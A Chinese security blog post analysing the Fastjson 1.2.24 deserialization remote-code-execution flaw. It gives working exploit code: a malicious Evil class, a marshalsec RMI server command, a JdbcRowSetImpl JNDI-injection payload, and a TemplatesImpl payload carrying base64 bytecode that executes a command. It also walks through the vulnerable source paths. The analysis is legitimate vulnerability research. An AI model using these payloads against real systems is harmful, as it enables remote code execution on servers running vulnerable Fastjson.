【Java代码审计】Fastjson1.2.24漏洞分析

Fastjson是由阿里巴巴研发的一个java库,用来实现Java对象转换JSON格式以及JSON字符串转换为对象。

在Fastjson<=1.2.24以前存在远程代码执行漏洞。

Fastjson漏洞分析

启用一个maven项目,直接在pom.xml导入以下内容

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.23</version>
    </dependency>
</dependencies>

导入JSON库

import com.alibaba.fastjson.JSON

fastjson有两种常见的处理JSON方式:

  • JSON.toJSONString()

  • JSON.parseObject()

分别用来将对象转换为JSON字符串以及JSON字符串转换为对象。

先定义一个类User,用来作为JSON对象。

public class User {
    private int age;
    private String name;
    public int getAge() {
        System.out.println("调用了getAge()");
        return age;
    }
    public void setAge(int age) {
        this.age = age;
        System.out.println("调用了setAge()");
    }
​
    public String getName() {
        System.out.println("调用了getName()");
        return name;
    }
​
    public void setName(String name) {
        this.name = name;
        System.out.println("调用了setName()");
    }
}

我们使用JSON.toJSONString来JSON序列化我们的类user。

import com.alibaba.fastjson.JSON;
​
public class Test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("Tom");
        System.out.println("-----------JSON------------------");
        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}

可以看到运行结果为:

调用了setAge()
调用了setName()
-----------JSON------------------
调用了getAge()
调用了getName()
{"age":18,"name":"Tom"}

我们再创建一个类,用来将JSON序列化的内容转换为JAVA对象。

import com.alibaba.fastjson.JSON;
​
public class JsonToObj {
    public static void main(String[] args) {
        String str = "{\"age\":18,\"name\":\"Tom\"}";
        System.out.println(JSON.parseObject(str,User.class));
    }
}

可以看到运行结果为:

调用了setAge()
调用了setName()
User@28c97a5

不难发现,JSON序列化对象时调用了getAge()和getName(),而在反序列化时调用了setAge()和setName()。且在反序列化时调用的JSON.parseObject(str,User.class),指定所属的类还可以通过指定@type的方式来定位类。

当我们利用JSON在反序列化时调用并覆盖恶意的类的构造方法以及属性相关的set方式时,就能够达到RCE的目的,且JSON.parseObject(“{"@type":"

User","name":"Tom","age":18}”,Feature.SupportNonPublicField) 能够为private成员赋值。

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl

使用JNDI注入来实现RCE。

编译这个类,放到我们启用的RMI服务器的目录下,确保我们能够访问到它。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
​
public class Evil extends AbstractTranslet{
    static {
        System.err.println("Pwned");
        try {
            String[] cmd = {"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
​
    @Override
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
        // anything
    }
​
    @Override
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
        // anything
    }
}

启动RMI服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1/#Evil" 9999

构造恶意的Payload

import com.alibaba.fastjson.JSON;
​
public class JsonToObj {
    public static void main(String[] args) {
        String str = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/#Evil\",\"autoCommit\":true}}";
        System.out.println(JSON.parseObject(str));
    }
}

成功命令执行

原理:

将恶意的值(接下来我们构造的dataSourceName)输入到setDataSourceName(String name)

public void setDataSourceName(String name) throws SQLException {
​
        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }
​
        URL = null;
    }

会运行setAutoCommit(),其中的connect()里面,就是我们这个反序列化漏洞的核心函数lookup()。

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
​
    }

connect()方法中有典型的JNDI的Lookup方法调用,且参数为我们上传的参数dataSourceName。

protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

TemplatesImpl

TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,这个类的利用条件较为苛刻,必须要开启Feature.SupportNonPublicField,便可以不利用setter方法,成功赋值。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
​
public class JsonToObj {
    public static void main(String[] args) {
        String str = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
        System.out.println(JSON.parseObject(str, Feature.SupportNonPublicField));
    }
}

成功命令执行

原理:

调用了_outputProperties的getter方法(getOutputProperties)

跟进newTransformer()

跟进getTransletInstancew()

name不为空且 _class为空时,会进入defineTransletClasses()

defineTransletClasses()中,要满足tfactory属性不为空,否则会造成空指针异常,且后面将二维数组bytecode属性转化为Class对象,同时存入一维数组_class属性中,同时有一个细节就是我们构造的恶意类父类要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然这个索引不会更新当前位置

然后回到getTransletInstance()方法

这里根据_class属性以及当前索引获取当前Class对象,并拿到无参构造器进行实例化,可以将恶意代码放在无参构造函数或者静态代码块中,这样实例化时就会触发命令执行等操作从而RCE

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello_Brian

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值